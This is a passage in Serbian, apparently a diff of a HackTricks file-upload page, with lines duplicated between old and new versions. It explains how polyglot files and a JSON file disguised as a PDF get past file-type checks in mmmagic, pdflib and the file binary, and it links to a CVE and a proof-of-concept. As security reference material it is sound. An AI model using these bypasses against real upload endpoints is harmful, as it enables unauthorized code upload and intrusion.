Osnovna korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu sigurnosne mere koje pregledaju fajlove po tipu. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova fajlova za upload — kao JPEG, GIF ili DOC — kako bi se smanjio rizik koji predstavljaju potencijalno opasni formati (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, time što zadovoljava strukturne kriterijume više formata, može tiho zaobići ova ograničenja.
Uprkos svojoj prilagodljivosti, polygloti imaju ograničenja. Na primer, dok polyglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politike platforme u vezi ekstenzija fajlova. Ako sistem strogo zahteva dozvoljene ekstenzije, sama strukturna dvostrukost polyglota možda neće biti dovoljna da garantuje upload.
Uprkos svojoj prilagodljivosti, polyglot-i imaju ograničenja. Na primer, iako polyglot može istovremeno predstavljati PHAR fajl i JPEG, uspeh njegovog otpremanja može zavisiti od politike ekstenzija na platformi. Ako je sistem strogo ograničen u pogledu dozvoljenih ekstenzija, sama strukturna dvojnost polyglota možda neće biti dovoljna da obezbedi upload.
Više informacija: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### Otpremanje validnih JSON fajlova kao da su PDF
Kako izbeći detekciju tipa fajla tako što ćete upload-ovati validan JSON fajl čak i kada nije dozvoljen, tako što ćete ga predstaviti kao PDF (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Kako izbeći detekciju tipa fajla otpremanjem validnog JSON fajla čak i ako nije dozvoljeno, falsifikujući ga kao PDF (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Dokle god su `%PDF` magični bajtovi u prvih 1024 bajta, smatra se validnim (pogledajte primer u postu)
- **`pdflib` library**: Dodajte lažni PDF format unutar polja JSON-a tako da biblioteka misli da je u pitanju pdf (pogledajte primer u postu)
- **`file` binary**: Može pročitati do 1048576 bajta iz fajla. Jednostavno kreirajte JSON veći od toga tako da ne može parsirati sadržaj kao JSON, a zatim unutra u JSON ubacite početni deo pravog PDF-a i on će misliti da je u pitanju PDF
- **`mmmagic` library**: Sve dok su `%PDF` magic bajtovi u prvih 1024 bajta, smatra se validnim (pogledaj primer u postu)
- **`pdflib` library**: Ubaci lažni PDF format unutar polja u JSON-u tako da biblioteka misli da je pdf (pogledaj primer u postu)
- **`file` binary**: Može da pročita do 1048576 bajta iz fajla. Jednostavno kreiraj JSON veći od toga tako da ne može parsirati sadržaj kao json, a zatim unutar JSON-a stavi početni deo pravog PDF-a i on će pomisliti da je PDF
## References
@ -328,5 +358,8 @@ Kako izbeći detekciju tipa fajla tako što ćete upload-ovati validan JSON fajl
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
{{#include ../../banners/hacktricks-training.md}}